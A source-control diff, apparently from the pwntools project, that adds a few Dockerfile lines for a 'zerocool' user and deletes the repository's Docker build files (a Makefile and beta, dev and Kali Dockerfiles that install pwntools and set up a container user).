+RUN locale-gen en_US.UTF-8
+ENV LANG en_US.UTF-8
+ENV LANGUAGE en_US:en
+ENV LC_ALL en_US.UTF-8
+
+RUN chown -R zerocool.zerocool /home/zerocool
+RUN chsh -s /bin/bash zerocool

extra/docker/Makefile

@@ -1,13 +0,0 @@
-subdirs=xenial stable $(wildcard */)
-makefiles=$(wildcard */Makefile)
-tags=base stable beta dev
-
-all: $(makefiles) $(subdirs)
-
-$(subdirs):
-	docker build -t pwntools/pwntools:$(shell basename $(@)) "$@"
-
-$(makefiles):
-	make -C $(shell dirname $@)
-
-.PHONY: all $(subdirs) $(makefiles)

extra/docker/base

@@ -1 +0,0 @@
-xenial

extra/docker/beta/Dockerfile

@@ -1,6 +0,0 @@
-FROM pwntools/pwntools:stable
-
-USER root
-RUN pip install --upgrade git+https://github.com/Gallopsled/pwntools@beta
-RUN PWNLIB_NOTERM=1 pwn update
-USER pwntools

extra/docker/dev/Dockerfile

@@ -1,6 +0,0 @@
-FROM pwntools/pwntools:stable
-
-USER root
-RUN pip install --upgrade git+https://github.com/Gallopsled/pwntools@dev
-RUN PWNLIB_NOTERM=1 pwn update
-USER pwntools

extra/docker/kali/Dockerfile

@@ -1,26 +0,0 @@
-############################################################
-# Dockerfile to build Pwntools container
-# Based on Ubuntu
-############################################################
-
-FROM kalilinux/kali-linux-docker
-MAINTAINER Maintainer Gallopsled et al.
-
-RUN apt-get update \
-    && apt-get install -y \
-        build-essential \
-        git \
-        libssl-dev \
-        libffi-dev \
-        python2.7 \
-        python-pip \
-        python-dev \
-    && pip install --upgrade pip \
-    && python -m pip install --upgrade pwntools \
-    && PWNLIB_NOTERM=1 pwn update \
-    && apt-get install -y sudo \
-    && useradd -m pwntools \
-    && passwd --delete --unlock pwntools \
-    && echo "pwntools ALL=(ALL:ALL) NOPASSWD: ALL" > /etc/sudoers.d/pwntools
-USER pwntools
-WORKDIR /home/pwntools